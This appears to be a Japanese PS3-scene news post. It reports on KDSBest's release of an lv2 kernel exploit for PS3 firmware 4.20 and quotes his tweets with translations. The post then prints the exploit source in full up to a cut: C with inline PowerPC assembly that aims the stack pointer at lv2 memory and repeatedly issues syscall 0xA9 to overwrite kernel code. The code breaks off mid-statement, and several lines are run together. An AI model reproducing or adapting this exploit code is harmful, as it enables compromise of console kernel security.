PS3Crunchで、KDSBest氏がPS3の4.20で動作するlv2のexploitを公開したことを伝えていました。
先日naehrwert氏がPS3のlv2に脆弱性を発見しましたが、空きエリアを0xABADCAFEで埋めてしまい結果としてペイロードを破壊してしまうなどの問題があり、exploitとして活用できる状況には至ってませんでした。
KDSBest氏はSPU Emulationなどを開発したPS3シーンでは著名な開発者です。そのKDSBest氏はnaehrwert氏とは別にlv2 exploitを発見していたようで、当然naehrwert氏が行き詰まった問題もクリアしていたようです。
Since @naehrwert posted an lv2 exploit I will do so too ;). The stack pointer points to lv2 and if we do a (cont) http://t.co/9Te49sWB
— KDSBest (@KDSBest) September 22, 2012
@naehrwertがlv2 exploit公開したので俺もするよ。スタックポインターがlv2を…(以下TwitLongerに続く)
I didn't managed to make it work on 4.21 so I just did on 4.20 ;)
— KDSBest (@KDSBest) September 22, 2012
まだ4.21で動くようになってない。今のところ4.20だけで。
@naehrwert it's funny I found the exploit some days ago on my own and I've been working on an exploit for some days. ;)
— KDSBest (@KDSBest) September 20, 2012
ちょっと前に自分でこのexploit見つけて、しばらくずっとやってた。
現時点ではサンプルコードが公開されているだけでエンドユーザーが直接享受できるようなものではありませんが、コードが公開されたことでPS3シーンに変化が現れるかもしれません。
Code:
//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elfregister unsigned long long payloadHolder2 asm (“r21”);
register unsigned long long payloadHolder asm (“r20”);
register unsigned long long stackpointer asm (“r1”);
register unsigned long long counter asm (“r25”);
register unsigned long long bufferStackpointer asm (“r26”);int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;// Incrementer
counter = 0x00;// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8… bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscallasm(“li %r0, 0x0”);
asm(“li %r3, 0x6”);
asm(“li %r4, 0x1”);
// li r11, 0x24F -> PANIC
asm(“mr %r22, %r20”);
asm(“mr %r23, %r20”);
asm(“mr %r24, %r20”);
asm(“mr %r27, %r20”);
asm(“mr %r28, %r20”);
asm(“mr %r29, %r20”);
asm(“mr %r30, %r20”);
asm(“mr %r31, %r20”);// Stack Pointer = Build Address of LV2
stackpointer += counter;// Syscall 0xA9
asm(“li %r11, 0xA9”);
asm(“sc”);
counter += 0x04;// We write sc
asm(“mr %r22, %r21”);
asm(“mr %r23, %r21”);
asm(“mr %r24, %r21”);
asm(“mr %r27, %r21”);
asm(“mr %r28, %r21”);
asm(“mr %r29, %r21”);
asm(“mr %r30, %r21”);
asm(“mr %r31, %r21”);// Stack Pointer = Build Address of LV2
stackpointer += counter;// Syscall 0xA9
asm(“li %r11, 0xA9”);
asm(“sc”);
counter += 0x04;if(counter